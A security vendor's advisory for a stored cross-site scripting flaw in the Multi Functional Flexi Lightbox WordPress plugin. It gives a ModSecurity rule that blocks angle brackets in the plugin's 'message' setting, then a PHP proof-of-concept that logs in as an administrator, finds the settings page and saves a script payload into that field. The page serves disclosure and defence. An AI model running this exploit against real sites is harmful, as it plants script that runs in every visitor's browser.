CVE-2026-3347: Multi Functional Flexi Lightbox <= 1.2 – Authenticated (Admin+) Stored Cross-Site Scripting via 'message' Parameter (multi-functional-flexi-lightbox)

# Atomic Edge WAF Rule - CVE-2026-3347 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20263347,phase:2,deny,status:403,chain,msg:'CVE-2026-3347: Multi Functional Flexi Lightbox Stored XSS via message parameter',severity:'CRITICAL',tag:'CVE-2026-3347',tag:'WordPress',tag:'Plugin',tag:'XSS'"
  SecRule ARGS_GET:page "@rx ^(multi-functional-flexi-lightbox|multi_functional_flexi_lightbox|flexi-lightbox|arv-lightbox|lightbox-settings)$" "chain"
    SecRule ARGS_POST:arv_lb[message] "@rx [<>]" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3347 - Multi Functional Flexi Lightbox <= 1.2 - Authenticated (Admin+) Stored Cross-Site Scripting via 'message' Parameter
<?php
/**
 * Proof of Concept for CVE-2026-3347
 * Assumptions based on CVE metadata:
 * 1. Plugin has an admin settings page accessible to administrators
 * 2. Settings are saved via POST request with 'arv_lb[message]' parameter
 * 3. No nonce verification or capability checks beyond admin requirement
 * 4. Plugin uses standard WordPress options/settings API
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';

// XSS payload - modify as needed
$payload = '<script>alert("Atomic Edge XSS Test - CVE-2026-3347");</script>';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Check if login succeeded by looking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Attempt to find the plugin settings page
// Common pattern: admin.php?page=plugin-slug or plugin-slug-settings
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=multi-functional-flexi-lightbox');
curl_setopt($ch, CURLOPT_POST, 0);
$settings_page = curl_exec($ch);

// If direct page not found, try alternative patterns
if (strpos($settings_page, 'arv_lb') === false) {
    // Try common alternatives
    $possible_pages = [
        'multi_functional_flexi_lightbox',
        'flexi-lightbox',
        'arv-lightbox',
        'lightbox-settings'
    ];
    
    foreach ($possible_pages as $page) {
        curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=' . $page);
        $settings_page = curl_exec($ch);
        if (strpos($settings_page, 'arv_lb') !== false) {
            break;
        }
    }
}

// Extract nonce if present (common in WordPress settings forms)
$nonce = '';
if (preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $matches)) {
    $nonce = $matches[1];
}

// Submit the XSS payload
$post_data = [
    'arv_lb[message]' => $payload,
    'submit' => 'Save Changes'
];

if ($nonce) {
    $post_data['_wpnonce'] = $nonce;
}

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=multi-functional-flexi-lightbox');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$result = curl_exec($ch);

if (strpos($result, 'Settings saved') !== false || strpos($result, 'success') !== false) {
    echo "Payload injected successfully.n";
    echo "Visit any page with the lightbox enabled to trigger the XSS.n";
} else {
    echo "Injection may have failed. Manual verification required.n";
}

curl_close($ch);
?>